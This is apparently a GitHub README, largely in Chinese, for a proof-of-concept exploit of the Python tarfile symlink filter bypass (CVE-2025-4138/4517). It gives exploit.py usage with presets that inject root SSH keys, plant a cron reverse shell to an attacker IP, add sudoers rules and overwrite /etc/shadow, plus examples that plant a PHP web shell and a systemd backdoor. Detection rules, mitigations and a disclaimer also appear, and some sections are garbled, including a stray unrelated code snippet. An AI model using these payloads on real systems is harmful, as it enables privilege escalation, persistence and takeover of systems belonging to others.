CVE-2025-4138 / CVE-2025-4517 — Python tarfile PATH_MAX Symlink Filter Bypass 符号链接过滤器绕过
通过 filter="data" / filter="tar" 提取实现任意文件写入
Python tarfile 模块中存在一个严重漏洞,允许攻击者 绕过提取过滤器("data" 和 "tar"),并在预期的提取目录之外 写入任意文件。当特权进程(例如 root 级别的备份脚本、CI/CD 流水线或软件包安装程序)使用被认为安全的 filter="data" 参数提取攻击者控制的 tar 归档时,此漏洞可让攻击者以该特权用户的身份 实现完全任意文件写入 — 通常可提升至 root 权限。
根本原因是 os.path.realpath() 的一个行为怪癖:一旦完全展开的路径超过 PATH_MAX(Linux 上为 4096 字节,macOS 上为 1024 字节),它会 静默停止 解析符号链接。tarfile 过滤器依赖 realpath() 进行安全检查,但操作系统内核在提取期间独立解析符号链接 — 这就造成了一个 TOCTOU(检查时间到使用时间)间隙,从而允许目录逃逸。
(此处继续)``` ┌───────────────────────────────────────────┐ │ Malicious Tar Structure │ └───────────────────────────────────────────┘
Stage 1 ── Build symlink chain that inflates the resolved path past PATH_MAX
ddd...ddd/ (directory, 247 chars)
a → ddd...ddd (symlink, 1 char name → 247 char dir)
ddd...ddd/ddd...ddd/ (nested directory)
b → ddd...ddd (symlink)
... ×16 levels
Short path (symlinks): a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p ~31 chars
Resolved path (dirs): ddd…/ddd…/ddd…/ddd…/ddd…/ddd…/… ~3968 chars
↑ nearing PATH_MAX
Stage 2 ── Final symlink exceeds PATH_MAX → realpath() stops resolving
a/b/c/…/p/lll…lll → ../../../../../../../../../../../../../../../../..
(16 levels of ".." — traverses back to extraction root)
┌─────────────────────────────────────────────────────────────────┐
│ os.path.realpath() CANNOT expand this → filter says "OK" ✓ │
│ Linux kernel DOES follow chain → actually escapes ✗ │
└─────────────────────────────────────────────────────────────────┘
Stage 3 ── Escape symlink resolves to arbitrary filesystem path
escape → <overflow_link>/../../../../../../../root
Stage 4 ── Create intermediate directories through the escape
escape/.ssh/ (directory, mode 0700 — created by tar extraction)
Stage 5 ── Write payload through the escaped symlink
escape/.ssh/authorized_keys → writes to /root/.ssh/authorized_keys 🔓
---
## 受影响版本
| Python 分支 | 受影响范围 | 修复版本 | 状态 |
|:--|:--|:--|:--|
| 3.13 | 3.13.0 – 3.13.3 | **3.13.4** | ✅ 已修复 |
| 3.12 | 3.12.0 – 3.12.10 | **3.12.11** | ✅ 已修复 |
| 3.11 | 3.11.4 – 3.11.12 | **3.11.13** | ✅ 已修复 |
| 3.10 | 3.10.12 – 3.10.17 | **3.10.18** | ✅ 已修复 |
| 3.9 | 3.9.17 – 3.9.22 | **3.9.23** | ✅ 已修复 |
| 3.8 | 3.8.17 – 3.8.20 | — | ❌ 已终止支持 |
| 3.14+ | 默认筛选器已改为 `"data"` | 请查看最新版本 | ⚠️ 风险更高 |
> **注意:** Python 3.14+ 将默认 `filter` 参数从无筛选改为 `"data"`,这意味着之前没有筛选(因此已经不安全)的应用程序现在默认使用存在漏洞的筛选器。
---
## 受影响的代码模式
在易受影响的 Python 版本上执行以下操作的任何应用都可能被利用:
```python
s = http.client.HTTPSConnection('example.com')
s.connect()
s.sock.settimeout(None)
| Permission denied
``````python
import tarfile
# VULNERABLE — filter="data" can be bypassed
with tarfile.open("untrusted_archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="data")
# ALSO VULNERABLE — filter="tar" has the same flaw
with tarfile.open("untrusted_archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="tar")
常见的真实场景:
.tar 分发文件git clone https://github.com/DesertDemons/CVE-2025-4138-4517-POC.git cd CVE-2025-4138-4517-POC
python3 exploit.py --help
**要求:** Python 3.6+(用于创建存档——**目标**必须运行存在漏洞的版本)
---
## 用法
### 快速入门——SSH 密钥注入```bash
# 1. Generate an SSH key pair (REQUIRED — must exist before creating tar)
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
cat ~/.ssh/id_ed25519.pub # verify key was created
# 2. Create the malicious tar archive
python3 exploit.py \
--preset ssh-key \
--payload ~/.ssh/id_ed25519.pub \
--tar-out ./evil.tar
# 3. Deliver the tar and trigger privileged extraction
# (method varies — backup script, upload endpoint, CI pipeline, etc.)
# Example: sudo python3 vulnerable_app.py --extract evil.tar
# 4. SSH in as root (use the SAME key you generated in step 1)
ssh -i ~/.ssh/id_ed25519 root@target
重要提示: 该漏洞会自动在 tar 存档中创建中间目录(例如
/root/.ssh/)。如果目标目录在文件系统中不存在,extractall()会在解压时创建它。
python3 exploit.py --preset cron --extra 10.0.0.5 --tar-out evil.tar
python3 exploit.py --preset sudoers --extra john --tar-out evil.tar
python3 exploit.py --preset ssh-key --payload ~/.ssh/id_rsa.pub
--mode 0600 --tar-out evil.tar
### 自定义目标
将任意内容写入目标文件系统的任意绝对路径:```bash
# Overwrite MOTD
python3 exploit.py \
--target /etc/motd \
--payload "Authorized access only." \
--mode 0644 \
--tar-out evil.tar
# Plant a web shell
python3 exploit.py \
--target /var/www/html/shell.php \
--payload '<?php system($_GET["cmd"]); ?>' \
--mode 0644 \
--tar-out evil.tar
# Overwrite a systemd service for persistence
python3 exploit.py \
--target /etc/systemd/system/backdoor.service \
--payload backdoor.service \
--mode 0644 \
--tar-out evil.tar
测试系统是否易受攻击,且不触及敏感文件:```bash
mkdir -p /tmp/cve_test/flag /tmp/cve_test/extract echo "original_content" > /tmp/cve_test/flag/testfile
python3 exploit.py
--target /tmp/cve_test/flag/testfile
--payload "OVERWRITTEN_BY_CVE-2025-4138"
--tar-out /tmp/cve_test/poc.tar
python3 -c " import tarfile tarfile.open('/tmp/cve_test/poc.tar', 'r').extractall( '/tmp/cve_test/extract', filter='data' ) "
cat /tmp/cve_test/flag/testfile
rm -rf /tmp/cve_test
### 快速版本检查```bash
python3 -c "
import sys
v = sys.version_info
vuln = (
(v.minor == 12 and v.micro <= 10) or
(v.minor == 13 and v.micro <= 3) or
(v.minor == 11 and 4 <= v.micro <= 12) or
(v.minor == 10 and 12 <= v.micro <= 17) or
(v.minor == 9 and 17 <= v.micro <= 22)
)
status = '❌ VULNERABLE' if vuln else '✅ Patched/Not affected'
print(f'Python {sys.version} — {status}')
"
os.path.realpath()在 Linux 上,PATH_MAX 定义为 4096 字节。在 macOS 上,则为 1024 字节。当 os.path.realpath() 逐分量解析路径且累积解析后的路径超过此限制时,它会静默停止解析剩余分量,并将其作为字面字符串追加。```
os.path.realpath() behavior:
Input: /extract/a/b/c/.../p/llll.../../../../../root/.ssh │ ├── resolved portion: /extract/ddd.../ddd.../... (3968+ bytes) └── unresolved tail: /../../../../root/.ssh ↑ appended literally!
Output: /extract/ddd.../ddd.../ddd.../../../../../root/.ssh │ │ └── Starts with /extract/ → filter says "OK" ✓ │ └── But the ../ is real!
这是`realpath()`的一个**有文档记录**的行为,但tarfile过滤器实现并未考虑到这一点。
### 符号链接链构建
链的每一层由以下部分组成:
| 条目 | 类型 | 名称长度 | 用途 |
|:--|:--|:--|:--|
| 目录 | `DIRTYPE` | 247 字符 (Linux) / 55 字符 (macOS) | 长名称增加解析路径长度 |
| 符号链接 | `SYMTYPE` | 1 字符 (`a`, `b`, …, `p`) | 长目录的短别名 |
经过16层后:
| 指标 | 值 |
|:--|:--|
| **短路径** (通过符号链接) | `a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p` ≈ 31 字符 |
| **解析路径** (通过目录) | `ddd…/ddd…/ddd…/…` ≈ **3968 字符** |
| **PATH_MAX** | 4096 字节 |
| **剩余预算** | ~128 字节 — 不足以容纳遍历有效载荷 |
### 过滤器绕过机制
Python的tarfile模块中的`data_filter`执行此检查:```python
# Simplified from Lib/tarfile.py
def _check_linkname(member, dest_path):
target = os.path.realpath(os.path.join(dest_path, member.linkname))
if not target.startswith(dest_path):
raise FilterError("link would escape destination")
漏洞描述:
realpath() 接收: /extract/a/b/c/.../p/lll.../../../../../root/.sshrealpath() 解析 a/b/c/.../p 部分通过符号链接链 → 3968+ 字节../../../../root/.ssh 被逐字追加/extract/ddd…(3968 chars)…/../../../../root/.ssh/extract/ 开头 → 通过 ✓../ → 逃逸到 /rootescape/.ssh 被解包为目录 → 创建 /root/.ssh/ (模式 0700)escape/.ssh/authorized_keys → 写入到 ┌────────────────────────────────────────────────────────────────────────┐ │ EXPLOIT PIPELINE │ ├────────────────────────────────────────────────────────────────────────┤ │ │ │ Stage 1: PATH_MAX Inflation │ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │ │ dir(247) │──▶│ sym a→d │──▶ ... │ sym p→d │ ×16 levels │ │ └─────────┘ └─────────┘ └─────────┘ │ │ Resolved path accumulates to ~3968 bytes │ │ │ │ Stage 2: Pivot Symlink (exceeds PATH_MAX) │ │ ┌──────────────────────────────────────────┐ │ │ │ a/b/c/.../p/lll...lll → ../../... (×16) │ │ │ └──────────────────────────────────────────┘ │ │ realpath() cannot resolve → filter is blind │ │ │ │ Stage 3: Escape Symlink │ │ ┌──────────────────────────────────────────┐ │ │ │ escape → /../../../../<target_root>│ │ │ └──────────────────────────────────────────┘ │ │ Points to the target's top-level parent (e.g. /root) │ │ │ │ Stage 4: Create Intermediate Directories │ │ ┌──────────────────────────────────────────┐ │ │ │ escape/.ssh (DIRTYPE, mode 0700) │ │ │ └──────────────────────────────────────────┘ │ │ Ensures parent dirs exist (e.g. /root/.ssh) — critical │ │ for targets where the parent directory may not exist │ │ │ │ Stage 5: Payload Write │ │ ┌──────────────────────────────────────────┐ │ │ │ escape/.ssh/authorized_keys = payload │ │ │ └──────────────────────────────────────────┘ │ │ File is written through the escaped symlink as the │ │ process owner (typically root) │ │ │ └────────────────────────────────────────────────────────────────────────┘
---
## 真实世界攻击场景
### 1. 特权备份恢复
以root权限运行的备份脚本提取用户提供的tar归档文件:```python
# /usr/local/bin/restore_backup.py (runs via sudo)
tar.extractall(path="/var/backups/restored", filter="data")
影响: 攻击者提供恶意备份 → 将 SSH 密钥写入 /root/.ssh/authorized_keys → 获得 root shell。
构建系统从不可信来源提取工件:```python
tar.extractall(path=workspace_dir, filter="data")
**影响:** 恶意工件逃逸工作区 → 覆盖CI配置 → 在构建基础设施上实现代码执行。
### 3. Web 应用上传处理
一个 Web 应用接受并提取 tar 上传文件:```python
# Flask/Django file processing endpoint
tar.extractall(path=upload_dir, filter="data")
影响: 远程攻击者上传恶意构造的 tar 文件 → 将 Web 后门写入文档根目录 → 实现远程代码执行(RCE)。
Python 包管理器提取源代码发行版:```python
tar.extractall(path=build_dir, filter="data")
**影响:** 恶意 PyPI 包逃逸构建目录 → 修改系统文件。
---
## 检测
### 入侵指标
监控以下可能表示被利用的模式:```bash
# Check for deeply nested symlink chains in extracted directories
find /path/to/extractions -maxdepth 20 -type l | \
xargs -I{} readlink {} | grep -c "^d\{200,\}"
# Audit tar extraction operations in application logs
grep -r "extractall\|filter=\"data\"\|filter=\"tar\"" /var/log/
# Monitor for unexpected file writes in sensitive directories
auditctl -w /root/.ssh/ -p wa -k tarfile_escape
auditctl -w /etc/cron.d/ -p wa -k tarfile_escape
auditctl -w /etc/sudoers.d/ -p wa -k tarfile_escape
rule CVE_2025_4138_Malicious_Tar { meta: description = "Detects tar archives crafted for CVE-2025-4138 PATH_MAX bypass" cve = "CVE-2025-4138" severity = "critical" strings: $long_dir = /d{240,250}// ascii $chain = /[a-p]/[a-p]/[a-p]/[a-p]/ ascii $pad = /l{250,}/ ascii $traversal = "../../../" ascii condition: uint16(0) == 0x0000 and $long_dir and $chain and ($pad or #traversal > 8) }
---
## 缓解措施
### 1. 升级 Python(推荐)```bash
# Check current version
python3 -c "import sys; print(sys.version)"
# Upgrade to patched version:
# 3.9.23+ | 3.10.18+ | 3.11.13+ | 3.12.11+ | 3.13.4+
如果无法立即升级:```python import pathlib import tarfile
def safe_extract(tar_path: str, dest: str) -> None: """Extract tar archive with CVE-2025-4138 mitigation.""" with tarfile.open(tar_path, "r") as tar: for member in tar.getmembers(): # Block symlinks with traversal in link targets if member.linkname: parts = pathlib.PurePosixPath(member.linkname).parts if ".." in parts: raise ValueError( f"Blocked: '{member.name}' has traversal " f"in linkname: '{member.linkname}'" ) # Block absolute symlink targets if member.issym() and member.linkname.startswith("/"): raise ValueError( f"Blocked: '{member.name}' has absolute " f"symlink target: '{member.linkname}'" ) # Re-open to reset iterator tar.extractall(path=dest, filter="data")
### 3. 沙盒化提取```bash
# Extract in a minimal container or namespace
unshare --mount --map-root-user -- sh -c '
mount -t tmpfs tmpfs /mnt
python3 -c "
import tarfile
tarfile.open(\"archive.tar\", \"r\").extractall(\"/mnt/extract\", filter=\"data\")
"
'
tar --no-same-permissions --no-same-owner -xf archive.tar -C /dest/
---
## 相关 CVE
| CVE | 描述 | 严重程度 |
|:--|:--|:--|
| **CVE-2025-4138** | 通过 `PATH_MAX` 溢出绕过符号链接目标过滤器 | 严重 |
| **CVE-2025-4517** | 通过 `realpath` 溢出任意文件写入(相同根本原因) | 严重 |
| **CVE-2025-4330** | 通过符号链接路径遍历绕过提取过滤器 | 高 |
| **CVE-2024-12718** | 在提取目录外修改文件元数据 | 高 |
| **CVE-2025-4435** | 当 `errorlevel=0` 时,已过滤的文件仍被提取 | 中等 |
| **CVE-2007-4559** | 原始 tarfile 路径遍历(无过滤器时代) | 高 |
所有问题已在 [CPython Issue #135034](https://github.com/python/cpython/issues/135034) 和 [PR #135037](https://github.com/python/cpython/pull/135037) 中解决。
---
## 时间线
| 日期 | 事件 |
|:--|:--|
| 2025-04-30 | 向 Python 安全响应团队报告漏洞 |
| 2025-06-02 | 公开问题已开启 — [CPython #135034](https://github.com/python/cpython/issues/135034) |
| 2025-06-03 | 修复已合并 — [CPython PR #135037](https://github.com/python/cpython/pull/135037) |
| 2025-06-03 | [PSF 安全公告](https://mail.python.org/archives/list/[email protected]/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) 已发布 |
| 2025-06-03 | 已修补版本:Python 3.9.23、3.10.18、3.11.13、3.12.11、3.13.4 |
| 2025-06-04 | CERT-FR 公告 [CERTFR-2025-AVI-0475](https://www.cert.ssi.gouv.fr/) |
| 2025-06-20 | Google 安全研究公告 [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) |
| 2025-07-20 | 全面公开 |
---
## 参考
- [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) — Google 安全研究公告和原始 PoC
- [CPython Issue #135034](https://github.com/python/cpython/issues/135034) — 上游漏洞报告
- [CPython PR #135037](https://github.com/python/cpython/pull/135037) — 修复提交
- [PSF 安全公告](https://mail.python.org/archives/list/[email protected]/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) — 官方公告
- [Seth Larson 的缓解 Gist](https://gist.github.com/sethmlarson/52398e33eff261329a0180ac1d54f42f) — 快速缓解脚本
- [NVD — CVE-2025-4138](https://nvd.nist.gov/vuln/detail/CVE-2025-4138)
- [NVD — CVE-2025-4517](https://nvd.nist.gov/vuln/detail/CVE-2025-4517)
- [Python `tarfile` 提取过滤器文档](https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter)
- [Linux `realpath(3)` 手册页](https://man7.org/linux/man-pages/man3/realpath.3.html) — `PATH_MAX` 行为
---
## 致谢
- **漏洞发现:** [Caleb Brown](https://github.com/calebbrown) — Google 安全研究
- **补丁作者:** Łukasz Langa、Petr Viktorin、Seth Michael Larson、Serhiy Storchaka
- **本 PoC:** [DesertDemon](https://github.com/DesertDemons)
---
## 免责声明
> **⚠️ 本工具仅供授权安全测试、研究和教育用途使用。**
>
> 未经授权访问计算机系统违反《计算机欺诈与滥用法》(CFAA)、《计算机滥用法》以及全球同等级立法。在测试任何不属于自己的系统之前,务必获得明确的书面授权。
>
> 作者不对本软件的滥用承担任何责任。使用本工具即表示您同意全权对自己的行为负责,并将遵守所有适用法律。
---
**标签:** `cve-2025-4138` `cve-2025-4517` `python` `tarfile` `path-traversal` `symlink` `privilege-escalation` `arbitrary-file-write` `toctou` `cwe-22` `linux` `macos`
## 许可证
本项目基于 [MIT 许可](https://github.com/desertdemons/cve-2025-4138-4517-poc/blob/main/LICENSE) 授权。
---
<p align="center">
<sub>
🔐 如果你觉得有用,请考虑给仓库加星<br>
📫 对于负责任披露的咨询,请开启 issue 或通过 GitHub 联系
</sub>
</p>
| 字段 | 值 |
|---|
| CVE 编号 | CVE-2025-4138, CVE-2025-4517 |
| CVSS v3.1 | 9.4(严重) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L |
| CWE | CWE-22 — 路径名到受限目录的限值不当 |
| 漏洞类型 | 通过符号链接的路径遍历 / 过滤器绕过 |
| 影响 | 任意文件写入 → 权限提升、沙箱逃逸、数据篡改 |
| 攻击向量 | 向任何使用带过滤器的 tarfile.extractall() 的应用程序交付恶意 tar 归档 |
| 受影响版本 | Python 3.12.0 – 3.12.10, 3.13.0 – 3.13.3 |
| 修复版本 | Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 |
| 补丁 | CPython PR #135037 |
| 公告 | GHSA-hgqp-3mmf-7h8f |
| 报告者 | Caleb Brown — 谷歌安全研究 |
| 预设 | 目标文件 | 描述 | --extra 参数 |
|---|
ssh-key | /root/.ssh/authorized_keys | 注入 SSH 公钥以实现 root 登录 | — |
cron | /etc/cron.d/pwned | 植入 root 反向 Shell 的 cron 任务 | LHOST IP 地址 |
sudoers | /etc/sudoers.d/pwned | 为指定用户添加 NOPASSWD sudo 规则 | 用户名 |
shadow | /etc/shadow | 覆盖 shadow 文件(⚠️ 破坏性操作) | — |
passwd | /etc/passwd | 覆盖 passwd 文件(⚠️ 破坏性操作) | — |
/root/.ssh/authorized_keys